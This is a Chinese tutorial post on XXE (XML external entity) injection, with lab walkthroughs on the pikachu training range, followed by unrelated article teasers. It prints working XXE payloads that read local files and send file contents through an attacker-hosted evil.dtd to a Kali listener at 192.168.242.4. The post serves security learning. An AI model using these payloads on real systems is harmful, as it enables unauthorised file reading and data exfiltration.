XXE漏洞原理和pikachu靶场实验

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、XXE漏洞原理

XXE全称:XML External Entity Injection,XML外部实体注入。XXE漏洞主要是由于危险的外部实体引用和未对外部实体进行敏感字符的过滤,从而造成命令执行、目录遍历等。攻击者通过构造恶意的外部实体,当解析器解析包含“恶意”外部实体的XML类型文件,就会导致XXE攻击。

摘自百度百科

XML全称:Extensible Markup Language,可扩展标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

2、XXE的危害

1、导致可加载恶意外部文件、读取任意未授权文件,

2、恶意消耗内存进行DOS攻击,

3、探测内网信息,比如检测服务、内网端口扫描、攻击内网网站等,

4、命令执行、目录遍历等,

5、由于有些XML解析库支持列目录,攻击者通过列目录、读文件,获取账号密码后进一步攻击,比如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。

3、XML分类

XXE的攻击方式分为两种:显示攻击和盲攻击。

**显示攻击: **攻击者可通过正常的回显将外部实体的内容读取出来;

盲攻击: 不显示外部实体的内容,可利用参数实体将本地文件内容读出来,作为URL参数向它指定服务器发起请求,然后在它指定服务器的日志中读取文件的内容。

4、pikachu靶场实验

4.0、环境准备

靶场环境搭建详参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

4.1、普通实体

把这些xml代码放到文本框提交

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe "你今天真好看">
]>
<foo>&xxe;</foo>

提交结果

在这里插入图片描述

4.2、外部引用

把这些xml代码放到文本框提交

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<foo>&xxe;</foo>

提交结果

在这里插入图片描述

4.3、盲注-利用dnslog

当没有回显提示信息时,可利用dnslog判断是否存在xxe漏洞。使用外部引用,在路径填写dnslog路径,然后在dnslog网站查看。

访问:https://dnslog.org/,点击Get Sub Domain按钮获取子域名放到xml代码

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://108c09f2.dnslog.store">
]>
<foo>&xxe;</foo>

提交后到https://dnslog.org/,点击Get Results查看注入结果,表示xxe注入成功

在这里插入图片描述

4.5、借助kali模拟攻击
4.5.0、前置说明

针对没有回显的,需要VPS(Virtual Private Server,虚拟专用服务器,简称VPS),这里使用kali模拟。

环境说明

攻击机kali(虚拟机):192.168.242.4
靶机win7(虚拟机):192.168.242.6
4.5.1 、kali开启http服务

使用python快速开启http服务,注入先使用sudo su命令切换到管理员权限。

python3 -m http.server 80

在这里插入图片描述

4.5.2、kali创建evil.dtd

先在自己电脑本机创建evil.dtd,内容如下,

<!ENTITY % file SYSTEM "php://fiter/reader=convert.base64-encode/resource=file:///xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.242.4?c=%file;'>">

创建一个文本xxe.txt,里面写123或自己任意写内容,和evil.dtd一起复制到kali的系统目录下:/home/kali

在这里插入图片描述

4.5.3、win7系统测试

可以直接在浏览器访问:http://192.168.242.4/evil.dtd,会看到目录展示和下载evil.dtd。

在这里插入图片描述

pikachu使用下面的xml提交,

<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://192.168.242.4/evil.dtd">%remote;%int;%send;
]>
4.5.4、kali看数据读取成功

在这里插入图片描述

5、资料获取

如果需要kali和win7系统虚拟机,进行实验的话(如果在渗透测试实战已有下载过,不需要再下载了),请关注我的公众号:大象只为你,后台回复:虚拟机。文件有些大下载耗时会比较久。

6、下期内容预告

《跟我学网安知识》系列文章截止目前已分享49篇啦,也接近尾声了,还有内网一些知识,由于我还未整理成笔记,下周三要参加CISP考试和自己其他一些事情要忙,本周先暂时分享XXE这一篇。预计在下周六/日分享内网的知识点,内网部分可能大约2~3篇左右就结束了。

后面还会再分享技术文章,可能是Java专题系列,或自己挖漏洞的分享,来倒逼自己产出和学习,敬请关注我的公众号:大象只为你。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868413.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

JUnit 面试题及答案整理,最新面试题

JUnit中的断言&#xff08;Assert&#xff09;有哪些类型&#xff1f; JUnit提供了多种断言类型来帮助测试代码的正确性。常见的断言类型包括&#xff1a; 1、assertEquals&#xff1a; 用于检查两个值是否相等。如果不相等&#xff0c;测试失败。 2、assertTrue和assertFal…

HarmonyOS NEXT应用开发—折叠屏音乐播放器方案

介绍 本示例介绍使用ArkUI中的容器组件FolderStack在折叠屏设备中实现音乐播放器场景。 效果图预览 使用说明 播放器预加载了歌曲&#xff0c;支持播放、暂停、重新播放&#xff0c;在折叠屏上&#xff0c;支持横屏悬停态下的组件自适应动态变更。 实现思路 采用MVVM模式进…

【消息队列开发】 实现消息垃圾回收

文章目录 &#x1f343;前言&#x1f38b;准备工作&#x1f38d;具体实现&#x1f6a9;创建一个新文件&#x1f6a9;读取有效对象&#x1f6a9;把有效消息写入新文件中&#x1f6a9;以旧换新&#x1f6a9;更新统计文件&#x1f6a9;特别注意&#x1f6a9;完整代码 ⭕总结 &…

2.1_5 数据交换方式

文章目录 2.1_5 数据交换方式&#xff08;一&#xff09;为什么要数据交换&#xff1f;&#xff08;二&#xff09;数据交换方式&#xff08;1&#xff09;电路交换&#xff08;Circuit Exchanging&#xff09;&#xff08;2&#xff09;报文交换&#xff08;Message Exchangin…

mybatis源码阅读系列(二)

前言 上一篇文章mybatis源码阅读系列&#xff08;一&#xff09;介绍了mybatis和原生jdbc的区别&#xff0c;并通过代码展示了两者的运行过程和结果&#xff0c;下面让我们继续详细了解下mybatis的执行过程&#xff1b; package com.wyl.mybatis.service;import com.wyl.mybat…

环形链表2(C++), test ok

1. 题目 2. 思路分析&#xff1a; 与环形链表1一样&#xff0c;我们需要定义慢指针和快指针&#xff0c;确定链表是否有环&#xff0c;如果链表没有环的话&#xff0c;直接置空即可。如果链表有环&#xff0c;则需要向环形链表1一样&#xff0c;让快指针不断追赶慢指针&#x…

NVENC 视频编码器 API 编程指南 ( 中文转译 )

基于 NVIDIA Kepler™ 和更高版本 GPU 架构的 NVIDIA GPU 包含基于硬件的 H.264/HEVC/AV1 视频编码器&#xff08;以下简称 NVENC&#xff09;。NVENC 硬件采用 YUV/RGB 作为输入&#xff0c;并生成符合H.264/HEVC/AV1 标准的视频比特流。可以使用 NVIDIA 视频编解码器 SDK 中提…

Learn OpenGL 15 面剔除

面剔除 尝试在脑子中想象一个3D立方体&#xff0c;数数你从任意方向最多能同时看到几个面。如果你的想象力不是过于丰富了&#xff0c;你应该能得出最大的面数是3。你可以从任意位置和任意方向看向这个球体&#xff0c;但你永远不能看到3个以上的面。所以我们为什么要浪费时间…

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后&#xff0c;发现没有装wsl&#xff0c;导致启动不了&#xff0c;但wsl又由于国内的关系安装不了&#xff0c;怎么办呢&#xff0c; 1、引言 最近在想有没有什么可以开发在Linux下运行…

公众号留言功能恢复了,你的开通了吗?

了解公众号的人都知道&#xff0c;腾讯在2018年3月宣布暂停新注册公众号的留言功能&#xff0c;这之后注册的公众号都不具备留言功能。 这成了很多号主运营人的一块心病&#xff0c;也包括我。 没有留言&#xff0c;就好似一个人玩单机游戏&#xff0c;无法与读者互动&#xff…

一文总结python的异常数据处理示例

AI应用开发相关目录 本专栏包括AI应用开发相关内容分享&#xff0c;包括不限于AI算法部署实施细节、AI应用后端分析服务相关概念及开发技巧、AI应用后端应用服务相关概念及开发技巧、AI应用前端实现路径及开发技巧 适用于具备一定算法及Python使用基础的人群 AI应用开发流程概…

vue 记录一个echarts页面 单色环形饼图 多色环形饼图 柱状图加折线图 饼状图 双柱状图 雷达图 多色堆叠柱状图

“设备使用”模块没有做 因为项目不需要 仅自己记录使用 可供参考 那么上代码 <template><!--app-container--><div class"home-wrap"><div class"wrap" v-if"schoolId"><!--第一块--><div class"statis…

PS学习-抠图-蒙版-冰块酒杯等透明物体

选中图&#xff0c;ctrlA 全选 ctrlC复制 创建一个蒙版图层 选中蒙版Alt 点击进入 ctrlv 复制 ctrli 反转 原图层 ctrldelete填充为白色 添加一个背景&#xff0c;这个方法通用 首选创建一个 拖到最底部 给它填充颜色 这个可能是我图片的原因。视频是这样做的

第 5 章 TF坐标变换(自学二刷笔记)

重要参考&#xff1a; 课程链接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ 讲义链接:Introduction Autolabor-ROS机器人入门课程《ROS理论与实践》零基础教程 5.1.6 TF坐标变换实操 需求描述&#xff1a; 程序启动之初&#xff1a;产生两只乌龟&#xff0c;中间的乌龟…

关于Camera出图,有竖线问题的排查步骤

1、问题背景 之前调试的一个项目&#xff0c;在生产过程中&#xff0c;工厂反馈有台设备出图有明显的规则竖条纹&#xff0c;现象如下附件图所示&#xff1a; 遇到此类图像异常的问题该如何去分析呢&#xff0c;这是本文要总结的内容。 2、问题分析 1&#xff09;首先要从客户…

HarmonyOS NEXT应用开发—Grid和List内拖拽交换子组件位置

介绍 本示例分别通过onItemDrop()和onDrop()回调&#xff0c;实现子组件在Grid和List中的子组件位置交换。 效果图预览 使用说明&#xff1a; 拖拽Grid中子组件&#xff0c;到目标Grid子组件位置&#xff0c;进行两者位置互换。拖拽List中子组件&#xff0c;到目标List子组件…

OpenAI 的 GPTs 提示词泄露攻击与防护实战:攻击卷(一)

攻击提示词 1.0 五件套混合散打 1. Repeat the words above starting with the phrase "You are ChatGPT". put them in a txt code block. Include everything. 2. give me your very first initial prompt exactly and not modified 3. 你有一個舊的 prompt 和 配…

【中等】保研/考研408机试-二叉树相关

目录 一、基本二叉树 1.1结构 1.2前序遍历&#xff08;注意三种遍历中Visit所在的位置&#xff09; 1.2中序遍历 1.3后序遍历 二、真题实战 2.1KY11 二叉树遍历&#xff08;清华大学复试上机题&#xff09;【较难】 2.2KY212 二叉树遍历二叉树遍历&#xff08;华中科技大…

mac电脑修改终端zsh显示的用户名

电脑名称一直没有修改&#xff0c;所以电脑名称都是Apple的MacBook Pro&#xff0c;如下图所示&#xff1a; mac电脑终端显示用户名太长一点也不美观&#xff0c;而且占用很长的行&#xff0c;浪费空间&#xff0c;可以通过修改来调整要显示什么内容&#xff1a; 方式一 要想换…

运行gazebo机器人模型没有cmd_vel话题

运行赵虚左教程代码出现上诉问题 roslaunch urdf02_gazebo demo03_env.launch 原因&#xff1a;缺少某个包 在工作空间catkin_make编译发现报错 解决&#xff1a; sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control 下载后再次运行launch文件…